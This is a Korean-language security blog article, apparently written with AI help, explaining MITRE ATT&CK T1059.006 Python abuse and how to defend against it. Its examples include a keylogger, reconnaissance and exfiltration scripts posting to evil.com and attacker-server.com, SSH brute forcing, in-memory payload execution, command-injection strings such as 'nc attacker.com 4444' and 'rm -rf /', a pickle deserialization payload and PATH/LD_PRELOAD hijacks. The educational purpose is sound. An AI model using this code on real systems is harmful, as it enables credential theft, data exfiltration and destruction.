Python 악성코드: APT37이 선택한 스크립트 공격 원리 | T1059.006
T1059.006 Python 공격 기법의 동작 원리와 5가지 보안 취약점을 실제 코드 예시로 분석. APT 그룹이 Python을 선택하는 이유와 방어 전략까지 상세 가이드.
Python은 전 세계 개발자들이 가장 많이 사용하는 프로그래밍 언어 중 하나로, GitHub에서 JavaScript 다음으로 두 번째로 인기 있는 언어이다. 하지만 이러한 인기와 접근성이 사이버 공격자들에게도 매력적인 도구가 되고 있다. MITRE ATT&CK 프레임워크의 T1059.006 기법은 공격자들이 Python 인터프리터와 스크립트를 악용하여 시스템을 침해하는 방법을 분류한다.
Python 스크립트 기반 공격이 없던 시절, 공격자들은 주로 C/C++로 컴파일된 바이너리 악성코드에 의존했다. 이는 대상 시스템의 아키텍처별로 별도 컴파일이 필요했고, 안티바이러스 시그니처 탐지에 취약했다. 또한 코드 수정이나 기능 추가를 위해서는 재컴파일과 재배포가 필요했다.
Python의 등장과 함께 공격자들은 더 유연하고 은밀한 공격 방식을 얻게 되었다. T1059.006은 Python의 크로스 플랫폼 특성과 풍부한 라이브러리 생태계를 악용하여, 탐지를 회피하면서 다양한 악성 행위를 수행하는 공격 기법이다.
T1059.006은 공격자가 Python 명령어 및 스크립트 인터프리터를 악용하여 악성 행위를 수행하는 기법이다. 이는 단순히 Python 코드를 실행하는 것을 넘어서, Python의 내장 라이브러리와 서드파티 패키지를 활용하여 시스템 명령 실행, 네트워크 통신, 파일 조작 등을 수행한다.
Command and Scripting Interpreter: Python
Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) files that can be written and distributed to different systems. — MITRE ATT&CK T1059.006
위 정의에서 알 수 있듯이, 이 공격 기법의 핵심은 Python의 대화식 실행 능력과 스크립트 배포의 용이성을 악용하는 것이다.
os, subprocess, socket 등 시스템 접근 모듈requests, paramiko 등 네트워크 통신 라이브러리.py, .pyc, 또는 컴파일된 실행 파일 형태| 기법 | 설명 |
|---|---|
| T1059.006 Python | 실행 방식: 인터프리터/스크립트 / 탐지 난이도: 중간 / 크로스 플랫폼: ✅ 완전 지원 / 라이브러리 생태계: ⭐⭐⭐⭐⭐ 매우 풍부 |
| T1059.001 PowerShell | 실행 방식: 인터프리터/스크립트 / 탐지 난이도: 중간 / 크로스 플랫폼: ❌ Windows 전용 / 라이브러리 생태계: ⭐⭐⭐ 보통 |
| T1059.004 Unix Shell | 실행 방식: 셸 명령어 / 탐지 난이도: 낮음 / 크로스 플랫폼: ❌ Unix/Linux 전용 / 라이브러리 생태계: ⭐⭐ 제한적 |
| T1059.007 JavaScript | 실행 방식: 브라우저/Node.js / 탐지 난이도: 높음 / 크로스 플랫폼: ✅ 완전 지원 / 라이브러리 생태계: ⭐⭐⭐⭐ 풍부 |
| T1059.005 VBA | 실행 방식: 매크로 / 탐지 난이도: 중간 / 크로스 플랫폼: ❌ Windows 전용 / 라이브러리 생태계: ⭐ 매우 제한적 |
공격자는 먼저 대상 시스템에 Python 환경이 설치되어 있는지 확인한다. 많은 Linux 배포판과 macOS에는 Python이 기본 설치되어 있고, Windows 환경에서도 개발자나 데이터 분석가들이 Python을 설치하는 경우가 많다.
# Python 설치 확인
python --version
python3 --version
# 설치된 패키지 확인
pip list
가장 간단한 형태의 공격은 Python 인터프리터를 통한 직접 명령 실행이다. 이는 셸 명령어 없이도 시스템에 접근할 수 있는 방법을 제공한다.
# 명령줄에서 직접 실행
python -c "import os; os.system('whoami')"
python -c "import subprocess; subprocess.run(['ls', '-la'])"
# 네트워크 연결 확인
python -c "import socket; s=socket.socket(); s.connect(('evil.com', 443)); s.close()"
더 복잡한 공격은 .py 파일을 통해 수행된다. 이러한 스크립트는 다단계 공격을 구현할 수 있다.
#!/usr/bin/env python3
# reconnaissance.py - 정찰 스크립트 예시
import os
import platform
import socket
import subprocess
def gather_system_info():
"""시스템 정보 수집"""
info = {
'hostname': socket.gethostname(),
'platform': platform.platform(),
'user': os.getenv('USER') or os.getenv('USERNAME'),
'pwd': os.getcwd()
}
return info
def execute_command(cmd):
"""명령어 실행 및 결과 반환"""
try:
result = subprocess.run(cmd, shell=True,
capture_output=True, text=True)
return result.stdout
except Exception as e:
return f"Error: {str(e)}"
def exfiltrate_data(data, server):
"""데이터 외부 전송"""
import requests
try:
response = requests.post(f"http://{server}/collect",
json=data)
return response.status_code == 200
except:
return False
# 메인 실행 로직
if __name__ == "__main__":
system_info = gather_system_info()
command_output = execute_command("ps aux") # 실행 중인 프로세스 목록
payload = {
'system': system_info,
'processes': command_output
}
exfiltrate_data(payload, "attacker-server.com")
Python의 강력한 라이브러리 생태계는 공격자에게 다양한 도구를 제공한다.
# 네트워크 스캔 및 침투
import nmap
import paramiko
import requests
# 포트 스캔
nm = nmap.PortScanner()
nm.scan('192.168.1.0/24', '22-443')
# SSH 브루트포스
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
passwords = ['admin', 'password', '123456']
for pwd in passwords:
try:
ssh.connect('target-host', username='root', password=pwd)
print(f"성공: {pwd}")
break
except:
continue
# 웹 애플리케이션 공격
session = requests.Session()
response = session.post('http://target/login',
data={'user': 'admin', 'pass': 'admin'})
공격자들은 Python 스크립트의 탐지를 어렵게 만들기 위해 다양한 기법을 사용한다.
# 바이트코드 컴파일로 소스 코드 숨기기
import py_compile
py_compile.compile('malicious.py', 'malicious.pyc')
# 메모리에서 직접 실행 (파일 없이)
import base64
import marshal
# 악성 코드를 base64로 인코딩하여 저장
encoded_payload = "gANjX19idWlsdGluX18KZXZhbApxAFgRAAAAaW1wb3J0IG9zOyBvcy5zeXN0ZW0="
decoded = base64.b64decode(encoded_payload)
code_obj = marshal.loads(decoded)
eval(code_obj)
Python 기반 공격은 마치 만능 도구 상자를 가진 수리공과 같다. 일반적인 악성코드가 특정 목적을 위해 제작된 전문 도구라면, Python 스크립트는 상황에 따라 다양한 도구로 변신할 수 있는 멀티툴이다. 수리공이 현장에서 필요에 따라 드라이버, 렌치, 톱 등을 선택해서 사용하듯이, 공격자는 Python의 다양한 라이브러리를 조합해서 정찰, 침투, 권한 상승, 데이터 탈취 등을 수행할 수 있다.
가상환경 우회: 많은 시스템에서 Python 가상환경을 사용하는데, 공격자는 시스템 전역 Python을 찾아서 실행한다.
# 시스템 Python 경로 찾기
import sys
print(sys.executable) # 실제 Python 실행 파일 경로
# 가상환경 탈출
import site
print(site.getsitepackages()) # 전역 site-packages 경로
패키지 없는 환경 대응: 서드파티 라이브러리가 없는 환경에서는 내장 라이브러리만으로 공격을 수행한다.
# requests 없이 HTTP 요청
import urllib.request
import urllib.parse
data = urllib.parse.urlencode({'data': 'stolen_info'}).encode()
req = urllib.request.Request('http://evil.com/collect', data=data)
urllib.request.urlopen(req)
공격자들이 Python을 선택하는 가장 큰 이유는 낮은 진입 장벽과 높은 효율성이다. C++로 키로거를 만들려면 수백 줄의 코드가 필요하지만, Python으로는 10줄이면 충분한다. 또한 Python은 "정상적인" 개발 도구이기 때문에 보안 솔루션들이 의심하지 않는 경우가 많다.
# 10줄로 만드는 간단한 키로거
import keyboard
import requests
def on_key_event(event):
if event.event_type == keyboard.KEY_DOWN:
key = event.name
requests.post('http://evil.com/keys', data={'key': key})
keyboard.hook(on_key_event)
keyboard.wait() # 백그라운드에서 실행
가장 위험한 취약점 중 하나는 os.system()과 subprocess 모듈의 잘못된 사용이다.
공격 시나리오: 웹 애플리케이션에서 사용자 입력을 받아 파일을 처리하는 Python 코드가 있다고 가정해봅시다.
# 취약한 코드 예시
import os
def process_file(filename):
# 위험: 사용자 입력을 직접 명령어에 삽입
os.system(f"convert {filename} output.pdf")
# 공격자 입력
# filename = "test.jpg; rm -rf / #"
# 실제 실행: convert test.jpg; rm -rf / # output.pdf
실제 공격 방법:
;)을 사용해서 명령어 체인 생성`)이나 $() 구문으로 명령어 치환 활용# 다양한 명령 주입 패턴
malicious_inputs = [
"file.jpg; cat /etc/passwd", # 추가 명령 실행
"file.jpg && wget evil.com/backdoor", # 조건부 실행
"file.jpg | nc attacker.com 4444", # 파이프 활용
"`whoami`.jpg", # 명령 치환
"$(id).jpg" # 명령 치환 (bash)
]
방어 방법:
# 안전한 코드 작성
import subprocess
import shlex
def safe_process_file(filename):
# 1. 입력 검증
if not filename.endswith(('.jpg', '.png', '.gif')):
raise ValueError("지원하지 않는 파일 형식")
# 2. shell=False 사용
result = subprocess.run(['convert', filename, 'output.pdf'],
capture_output=True, text=True)
# 3. 또는 shlex로 안전한 이스케이핑
safe_cmd = shlex.quote(filename)
subprocess.run(f"convert {safe_cmd} output.pdf", shell=True)
Python의 pickle 모듈은 객체 직렬화에 편리하지만, 악의적인 데이터를 역직렬화할 때 임의 코드 실행이 가능한다.
공격 원리:
import pickle
import os
# 악성 클래스 정의
class MaliciousClass:
def __reduce__(self):
# pickle.loads() 시 자동으로 실행됨
return (os.system, ('rm -rf /',))
# 공격자가 생성한 pickle 데이터
malicious_data = pickle.dumps(MaliciousClass())
# 피해자가 데이터를 로드하면...
pickle.loads(malicious_data) # 시스템 파일 삭제 실행!
실제 공격 사례:
MLflow 취약점에서 공격자들이 predict 함수 내부의 os.system 호출을 악용했으며, 이는 새니타이징되지 않은 데이터를 전달하는 것에서 비롯되었다.
Python 프로세스는 부모 환경의 환경 변수를 상속받는데, 이를 조작하여 공격할 수 있다.
PATH 조작 공격:
import os
import subprocess
# 공격자가 환경 변수 조작
os.environ['PATH'] = '/tmp/malicious:/usr/bin:/bin'
# 피해자 코드가 시스템 명령 실행
subprocess.run(['ls']) # 실제로는 /tmp/malicious/ls 실행
LD_PRELOAD 공격 (Linux):
# 공격자가 악성 라이브러리 로드
export LD_PRELOAD="/tmp/evil.so"
python victim_script.py # 모든 라이브러리 호출이 악성 코드 경유
입력 검증:
../) 방지;, |, &, `) 필터링안전한 명령 실행:
subprocess.run(shell=False) 사용os.system() 사용 금지shlex.quote()로 인수 이스케이핑직렬화 보안:
pickle 대신 json 사용환경 보안:
T1059.006 Python 공격 기법은 Python의 편의성과 강력함을 악용하여 크로스 플랫폼 환경에서 다양한 악성 행위를 수행하는 공격 방식이다. 공격자들은 Python의 풍부한 라이브러리 생태계와 대화식 실행 능력을 활용하여 탐지를 회피하면서도 효과적인 공격을 수행할 수 있다.
이 공격 기법과 관련된 다른 스크립트 기반 공격들도 함께 이해하면 도움이 된다. PowerShell 악성코드 공격 원리와 JavaScript 악성코드의 동작 방식을 통해 각 스크립팅 언어별 공격 특성을 비교해볼 수 있다. 또한 T1059 스크립트 기반 공격의 전반적인 분류를 통해 공격자들이 어떤 기준으로 스크립팅 언어를 선택하는지 알아보세요.
다음에 알아볼 만한 심화 주제들:
.pyc 파일의 리버스 엔지니어링과 방어AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.